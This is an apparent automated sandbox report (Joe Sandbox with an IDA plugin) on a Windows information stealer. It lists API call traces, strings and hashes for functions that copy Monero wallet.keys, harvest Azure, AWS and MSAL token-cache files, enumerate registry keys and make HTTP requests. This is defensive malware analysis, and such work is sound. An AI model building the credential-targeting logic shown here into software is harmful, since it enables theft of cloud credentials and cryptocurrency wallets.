Part of subcall function 00A08B60: GetSystemTime.KERNEL32(00A10E1A,014DDD00,00A105AE,?,?,009F13F9,?,0000001A,00A10E1A,00000000,?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A08B86

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 009FCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 009FD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 009FD0CE
lstrcat.KERNEL32(?,00000000), ref: 009FD208
lstrcat.KERNEL32(?,00A11478), ref: 009FD217
lstrcat.KERNEL32(?,00000000), ref: 009FD22A
lstrcat.KERNEL32(?,00A1147C), ref: 009FD239
lstrcat.KERNEL32(?,00000000), ref: 009FD24C
lstrcat.KERNEL32(?,00A11480), ref: 009FD25B
lstrcat.KERNEL32(?,00000000), ref: 009FD26E
lstrcat.KERNEL32(?,00A11484), ref: 009FD27D
lstrcat.KERNEL32(?,00000000), ref: 009FD290
lstrcat.KERNEL32(?,00A11488), ref: 009FD29F
lstrcat.KERNEL32(?,00000000), ref: 009FD2B2
lstrcat.KERNEL32(?,00A1148C), ref: 009FD2C1
lstrcat.KERNEL32(?,00000000), ref: 009FD2D4
lstrcat.KERNEL32(?,00A11490), ref: 009FD2E3

Part of subcall function 00A0A820: lstrlen.KERNEL32(009F4F05,?,?,009F4F05,00A10DDE), ref: 00A0A82B
Part of subcall function 00A0A820: lstrcpy.KERNEL32(00A10DDE,00000000), ref: 00A0A885

lstrlen.KERNEL32(?), ref: 009FD32A
lstrlen.KERNEL32(?), ref: 009FD339

Part of subcall function 00A0AA70: StrCmpCA.SHLWAPI(014D8B78,009FA7A7,?,009FA7A7,014D8B78), ref: 00A0AA8F

DeleteFileA.KERNEL32(00000000), ref: 009FD3B4

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 7fe8cff991c9939bcb640c5e698d791ae8844bd944a99df83dd9d519ed1615df
Instruction ID: 551113b61a5a9b2fb837671ffad9743907411503f5841ffeeb05f6b4ab1549c6
Opcode Fuzzy Hash: 7fe8cff991c9939bcb640c5e698d791ae8844bd944a99df83dd9d519ed1615df
Instruction Fuzzy Hash: 8CE1ED7191020CABDB04EBA0EE96FEE7378BF64301F504558F247A60D1DF35AA59CB62

Function 00A08320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

RegOpenKeyExA.KERNEL32(00000000,014DABB0,00000000,00020019,00000000,00A105B6), ref: 00A083A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00A08426
wsprintfA.USER32 ref: 00A08459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00A0847B
RegCloseKey.ADVAPI32(00000000), ref: 00A0848C
RegCloseKey.ADVAPI32(00000000), ref: 00A08499

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

Strings

- , xrefs: 00A085A3
?, xrefs: 00A0837A
%s\%s, xrefs: 00A0844D

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: bff02c903fdeb9f09e7b3acc4248190663aadabcc8ab22caf5b789790dbd26bc
Instruction ID: 776f199767f73f27167886a896624cba5574c8a43137d2d2ef550d28bea24395
Opcode Fuzzy Hash: bff02c903fdeb9f09e7b3acc4248190663aadabcc8ab22caf5b789790dbd26bc
Instruction Fuzzy Hash: 0B814C7191021CABEB24DB50DD85FEEB7B8FF58700F008698E149A6180DF756B89CFA5

Function 009F6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

Part of subcall function 009F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009F4839
Part of subcall function 009F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 009F4849

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

InternetOpenA.WININET(00A10DFE,00000001,00000000,00000000,00000000), ref: 009F62E1
StrCmpCA.SHLWAPI(?,014DEB08), ref: 009F6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 009F6335
HttpOpenRequestA.WININET(00000000,GET,?,014DE3E8,00000000,00000000,00400100,00000000), ref: 009F6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 009F63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009F63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 009F63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 009F646D
InternetCloseHandle.WININET(00000000), ref: 009F64EF
InternetCloseHandle.WININET(00000000), ref: 009F64F9
InternetCloseHandle.WININET(00000000), ref: 009F6503

Strings

ERROR, xrefs: 009F64C9
ERROR, xrefs: 009F6407
GET, xrefs: 009F637C

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: df55ba0163a284120bf5e8855397da2c7d3b7895e2a8ecea0df32b6b3b4f3dee
Instruction ID: 9f0ba9224e847f92f18c4d5e083d83748eff22f94681b94867a3e9284d239021
Opcode Fuzzy Hash: df55ba0163a284120bf5e8855397da2c7d3b7895e2a8ecea0df32b6b3b4f3dee
Instruction Fuzzy Hash: 7A713D71A1031CABDB14EBA0DC49FEE7778BB54700F108598F60AAB1D0DBB46A85CF52

Function 00A05510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A820: lstrlen.KERNEL32(009F4F05,?,?,009F4F05,00A10DDE), ref: 00A0A82B
Part of subcall function 00A0A820: lstrcpy.KERNEL32(00A10DDE,00000000), ref: 00A0A885

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A05644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A056A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A05857

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

Part of subcall function 00A051F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A05228

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

Part of subcall function 00A052C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A05318
Part of subcall function 00A052C0: lstrlen.KERNEL32(00000000), ref: 00A0532F
Part of subcall function 00A052C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00A05364
Part of subcall function 00A052C0: lstrlen.KERNEL32(00000000), ref: 00A05383
Part of subcall function 00A052C0: lstrlen.KERNEL32(00000000), ref: 00A053AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A0578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A05940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A05A0C
Sleep.KERNEL32(0000EA60), ref: 00A05A1B

Strings

ERROR, xrefs: 00A059FE
ERROR, xrefs: 00A05636
ERROR, xrefs: 00A05693
ERROR, xrefs: 00A05849
ERROR, xrefs: 00A0577D
ERROR, xrefs: 00A05932

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: d7674a6557ac312a7d8035644fcb49093015b6a708c99af19f8e2c50bf9587c5
Instruction ID: c706182cfccdcfabbe09af41ecac2a557ba42ad6af0f9f7503c0dd51c0f03200
Opcode Fuzzy Hash: d7674a6557ac312a7d8035644fcb49093015b6a708c99af19f8e2c50bf9587c5
Instruction Fuzzy Hash: 24E10E7191020CAADB14FBB0EE56FEE7378AF64340F50C528B506960D1EF356A5DCBA2

Function 00A04D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A08E0B

lstrcat.KERNEL32(?,00000000), ref: 00A04DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00A04DCD

Part of subcall function 00A04910: wsprintfA.USER32 ref: 00A0492C
Part of subcall function 00A04910: FindFirstFileA.KERNEL32(?,?), ref: 00A04943

lstrcat.KERNEL32(?,00000000), ref: 00A04E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00A04E59

Part of subcall function 00A04910: StrCmpCA.SHLWAPI(?,00A10FDC), ref: 00A04971
Part of subcall function 00A04910: StrCmpCA.SHLWAPI(?,00A10FE0), ref: 00A04987
Part of subcall function 00A04910: FindNextFileA.KERNEL32(000000FF,?), ref: 00A04B7D
Part of subcall function 00A04910: FindClose.KERNEL32(000000FF), ref: 00A04B92

lstrcat.KERNEL32(?,00000000), ref: 00A04EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00A04EE5

Part of subcall function 00A04910: wsprintfA.USER32 ref: 00A049B0
Part of subcall function 00A04910: StrCmpCA.SHLWAPI(?,00A108D2), ref: 00A049C5
Part of subcall function 00A04910: wsprintfA.USER32 ref: 00A049E2
Part of subcall function 00A04910: PathMatchSpecA.SHLWAPI(?,?), ref: 00A04A1E
Part of subcall function 00A04910: lstrcat.KERNEL32(?,014DEA38), ref: 00A04A4A
Part of subcall function 00A04910: lstrcat.KERNEL32(?,00A10FF8), ref: 00A04A5C
Part of subcall function 00A04910: lstrcat.KERNEL32(?,?), ref: 00A04A70
Part of subcall function 00A04910: lstrcat.KERNEL32(?,00A10FFC), ref: 00A04A82
Part of subcall function 00A04910: lstrcat.KERNEL32(?,?), ref: 00A04A96
Part of subcall function 00A04910: CopyFileA.KERNEL32(?,?,00000001), ref: 00A04AAC
Part of subcall function 00A04910: DeleteFileA.KERNEL32(?), ref: 00A04B31

Strings

*.*, xrefs: 00A04E64
Azure\.azure, xrefs: 00A04DD3
*.*, xrefs: 00A04DD8
\.aws\, xrefs: 00A04E4D
\.azure\, xrefs: 00A04DC1
Azure\.aws, xrefs: 00A04E5F
msal.cache, xrefs: 00A04EF0
\.IdentityService\, xrefs: 00A04ED9
Azure\.IdentityService, xrefs: 00A04EEB

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: e58fe3155c5585ddacf462f2742453ea418d62bc9298581ed39fe9553a09c1eb
Instruction ID: 7711217e76bf6ecc593968124008b5e9d52c76234e4e394289aeb60be14eee4f
Opcode Fuzzy Hash: e58fe3155c5585ddacf462f2742453ea418d62bc9298581ed39fe9553a09c1eb
Instruction Fuzzy Hash: 024163BAA5030867CB50F770ED47FED7338AB64740F404994B68A660C1EEB597C98B92

Function 009F1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 009F12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 009F12B4
Part of subcall function 009F12A0: RtlAllocateHeap.NTDLL(00000000), ref: 009F12BB
Part of subcall function 009F12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 009F12D7
Part of subcall function 009F12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 009F12F5
Part of subcall function 009F12A0: RegCloseKey.ADVAPI32(?), ref: 009F12FF

lstrcat.KERNEL32(?,00000000), ref: 009F134F
lstrlen.KERNEL32(?), ref: 009F135C
lstrcat.KERNEL32(?,.keys), ref: 009F1377

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

Part of subcall function 00A08B60: GetSystemTime.KERNEL32(00A10E1A,014DDD00,00A105AE,?,?,009F13F9,?,0000001A,00A10E1A,00000000,?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A08B86

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 009F1465

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

Part of subcall function 009F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009F99EC
Part of subcall function 009F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 009F9A11
Part of subcall function 009F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 009F9A31
Part of subcall function 009F99C0: ReadFile.KERNEL32(000000FF,?,00000000,009F148F,00000000), ref: 009F9A5A
Part of subcall function 009F99C0: LocalFree.KERNEL32(009F148F), ref: 009F9A90
Part of subcall function 009F99C0: CloseHandle.KERNEL32(000000FF), ref: 009F9A9A

DeleteFileA.KERNEL32(00000000), ref: 009F14EF

Strings

wallet_path, xrefs: 009F1330
SOFTWARE\monero-project\monero-core, xrefs: 009F1335
\Monero\wallet.keys, xrefs: 009F138D
.keys, xrefs: 009F136B

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
